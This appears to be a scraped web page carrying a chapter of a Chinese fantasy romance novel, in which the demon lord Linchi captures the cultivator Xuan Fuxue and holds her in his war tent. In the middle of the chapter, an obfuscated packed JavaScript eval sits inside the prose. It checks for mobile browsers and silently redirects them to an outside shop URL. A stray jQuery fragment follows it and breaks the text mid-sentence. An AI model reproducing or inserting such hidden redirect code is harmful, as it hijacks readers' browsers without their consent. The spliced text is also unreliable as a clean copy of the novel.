在她看清来人的同时,凛迟也望见了她。
男人乌发高束,金冠在朝阳之下熠熠生辉,同样闪亮的还有那双布满血丝的猩红双眼,宛如一瞬爆发的星月,璀璨耀眼得仿佛要将所有人吞噬。
他手里还拎着断罪长剑,剑身微微嗡鸣震动,同它的主人一般叫嚣着对鲜血和嗜杀的渴望。
凛迟将手里刚刚斩获的修士头颅随手一扔,砸在地上“砰”地沉闷作响,大步流星跨过横隔在两人之间的各色尸体——方才这里是个小战场,可现下只剩下一片死寂和安宁,凛迟一人解决了所有麻烦。
没给玄负雪转身逃跑的机会,凛迟长臂一伸,直接拎起她的后衣领,声线暗沉如铁锈:“想跑?”
仿佛一根烧得炽热的利刃直直捅进了她的喉咙,用力搅和,烫得她战栗发抖又欲哭无泪。
“我,我——”
凛迟根本不听她的话,拎一只小鸡崽似的将玄负雪硬生生拽离地面,无视她的两条腿悬在半空中无力挣扎,然后抡臂一甩。
玄负雪被扔进了一座大车里。
冥火鬼车腾着暗黑煞气,跃空而起,玄负雪颠倒不已,一骨碌跌躺在车厢内,车厢宽阔,软垫厚实,倒也没受什么伤。
她怔怔地望着微微晃动的车顶,顶上绣的是烈火烹锦,青面獠牙的恶鬼手持钢叉,正往人心扎去。
动荡不安的视线中,厚重门帘被轻轻挑起,露出一张黑沉的俊脸。
凛迟刚刚一大步跨进冥火鬼车,车外就响起了有人跑动的兵甲碰撞之声:“尊上!前线来报,苍知白率了一队精兵直奔南营去了!守营魔将不敌,请、请尊上即刻回援!”
凛迟未答,阴鸷的目光落在玄负雪身上,忽地俯身压近,在她耳畔喃喃低语:
“想跑?”
玄负雪顿时失了血色,张口结舌。
“正好,让你去看看逃跑之人的下场!”
冥火鬼车呼啸而起,火焰苍白雄烈,巨大的黄铜车轮滚滚向前,碾碎漫天星辰云雾。
玄负雪抱着自己的膝盖,蜷缩在车厢一角,头晕脑胀地不敢说话。
凛迟也不搭理她,隔着车帘,自顾自地同前来汇报军情的小兵传递指示。
“东门敌军已清,令赤鬼将率兵回防。”
他微妙地顿了一下,冷飕飕眼风扫一眼玄负雪,语气森凉:“你告诉他,若是再让某些不怕死的东西溜出来,他这个将军的脑袋也可以不要了。”
玄负雪赶紧又把脑袋往胳膊中缩了一点。
凛迟看着软绵绵缩成一团、只露出一点毛茸茸脑袋顶的少女,哼地冷笑一声,大发慈悲地放过了她。
昨夜三更,他再次前往地牢审讯那名修士刺客,对方依旧神情激动,甚至险些吞毒自尽——魔兵粗心大意,从来都是抓到了敌人直接坑杀,从未处理过需要好生看管的俘虏,以至于竟然没发现他后槽牙缝里竟然藏着鸩毒小丸。
为此看守的魔将受了凛迟好一顿罚,险些被拉出去当众鞭打五十鞭。魔将气不过,干脆将怒火撒在了刺客身上,擅自动用私刑百般磋磨,却没料到刺客受不住,一个时辰后咬舌自尽了。
刺客是凛家弟子,性命联系魂灯,气息一断当下,仙门联军内就得知了消息。代家主凛思遥于军营一角设祭坛,焚香祷告,敬天哀悼那不知名的凛家人,并为所有牺牲在战场上的同门做了一场盛大渡魂法事。
“生当作人杰,死亦为鬼雄。”*
空灵缥缈的祝祷唱诵之声响了前半夜,后半浓云遮月,连一丝微风也无,万籁俱寂之中看守戮武门的将士便有些昏昏欲睡,连日来长期绷紧的神经早就让一般兵士耗尽了心神,抱着长矛点头昏昏欲睡。
是以仙门联军骤然发难时,竟然无人事先察觉,被对方打了个措手不及,竟然一路败退至东门外。玄负雪听到的那声巨响,正是两军开战前的号令角声。
玄负雪眼观鼻鼻观心地盯着车厢地面,努力降低自己存在感,身边凛迟压低了声音,眉头紧锁,始终在交代轮换布防的军队战术,一直没能腾出空来管她。
正当玄负雪以为自己能逃过一劫时,冥火鬼车一晃——到军营了。
她刚想往车厢后爬,就被一只大手夹着脖子给拽了出去,玄负雪踉踉跄跄两步,被扬起的尘沙和魔气迷了眼睛。
凛迟根本没给她休息或开口解释的机会,直接一路夹带着她,大步流星进了正中央的大帐,将人往行军床上一扔,就转身掀帘子出去了。
玄负雪一骨碌爬起来,也想跟着往外走,却被无形的障壁挡了回来——凛迟竟然在门口下了禁制!
接连施了好几个术法,都没能破开门禁,玄负雪恼得在军帐内走了好几圈,就在她琢磨着要不试试看掘地三尺挖个洞逃出去时,帐外传来一道粗声粗气的怒吼:“尊上当真把那女人带到军营里来了?!”
玄负雪眉毛一挑,隔着帐布,模糊瞧见一个膀大腰圆的粗壮身影。
魔将似乎打算闯进来,却被帐外小兵阻拦,气得声音都拔高了一个度:“如今前线战事吃紧,尊上还如此玩物丧志!我们这些下属怎么不心寒!”
“你放我进去!出了事我大山一个人扛!你们放开!”
帐外吵吵嚷嚷好一会,终究那个名为大山的魔将没能突破禁制,门口得令看守的小兵碍于凛迟的威势,压根不敢违背命令擅自放人进入。玄负雪倒还希望能有谁来把她从这地方解救出去,然而一时半会看来是没戏了。
待到正午,又来了一拨人,同样也是不满魔尊竟然带了个女人藏在中军大帐内。
女人就算了,偏偏还是个仙门修士!
上次出现在魔王宫的仙门修士是个刺客,险些刺穿了魔尊的心脏,现下魔尊竟还要一意孤行让另一个修士待在自己身边,难道真是嫌命太长?!
从清晨等到午夜,身处舆论漩涡正中心的当事人却自始至终都没出现,凛迟仿佛消失了一般,不仅没来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941933|134050||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
找玄负雪算她逃跑的账,也对军帐外来来往往的喧哗置若罔闻,任凭将士们聚集又散,高声吵嚷,帐内却是始终一片宁静。
玄负雪双手枕在脑后,平躺在行军床上,好整以暇地盯着帐顶发呆。
她压根不担心魔军中哗变,反正就算天塌下来也有凛迟这个高个顶着,只是她现在落入魔军军营正中,仿佛羊入虎口,不知道什么时候才能重新找到逃脱机会。
躺在床上发了一会呆,闲着也无聊,正百无聊赖间,门帘微动,现出一道高大身影。
一看清凛迟的脸,玄负雪就蹭地坐了起来,戒备地盯着他。
凛迟恍若未觉,径自走进帐中,端起桌上摆着的茶碗,仰头一饮而尽。
他背后,军帐外原本喧嚣的将士不知为何都安静了下来,聚集的人群也散去了。
玄负雪瞥见他胸前甲胄沾着一点暗红的湿痕,压根不想去猜他是如何平息激烈事态的。
他可能刚刚从战场下来,一身金光闪闪的盔甲,肩头趴着五爪魔龙,走动间仿佛活了过来,用那双睥睨众生的龙目俯瞰世间,同色金冠束发,脸颊上一点血星,反倒更衬得他俊美之间携带三分煞气,气度非凡。
等了半天,却不见凛迟朝自己发难,玄负雪用力抿唇,视线又投向帐门:相较于深居酆都中央的魔王宫,军营距离仙门联军驻扎地显然更近,若是她想要伺机逃往对方阵营,现下会是个更好的机会......
许是看穿了她蠢蠢欲动的逃跑心思,玄负雪耳边突然响起一道喑哑的低声:
“还想跑?”
玄负雪猛地扭头,正看见凛迟重重放下茶碗,瓷壁边缘磕到木桌,发出清脆一声响。
饮尽的水珠顺着他滚动的喉结滑落,凛迟随意抬手擦掉,顺便抹干净了脸颊上的血点尘灰,然而脸庞虽然干净了一些,人身上带着的凶狠却没有丝毫减少。
他两步就走到了玄负雪身边,居高临下地俯视着她。
自他入帐以后,断罪剑就挂在他腰间,他睥睨了玄负雪一会,忽地拔剑。
玄负雪压根来不及躲,只觉得脸颊一冰,断罪锐利剑锋贴上了她的侧脸,是一个极其危险的近距离。
凛迟用那柄沾血的利剑不轻不重地拍了两下,剑尖又缓缓下移,最后虚虚悬在她的下颌,又猛地向上一抬,用力挑起她的脸颊。
两人目光相对,皆是幽深晦暗,心思百转千回。
凛迟声音寒凉:“孤对你不好么?你只想着逃?”
玄负雪毫无畏惧地回视,没有接话。
凛迟又轻轻笑了一下,露出两颗犬牙尖尖:“你想回仙门。”
这不是疑问的语气,于是玄负雪依旧保持沉默。
凛迟眼中似有狂风暴雨翻涌:“你知不知道?孤几次三番都想杀了你。”
“可是孤心里总会有一个声音,凭借直觉和本能,在说,若是孤当真杀了你……孤日后定会悔不当初,痛不欲生。”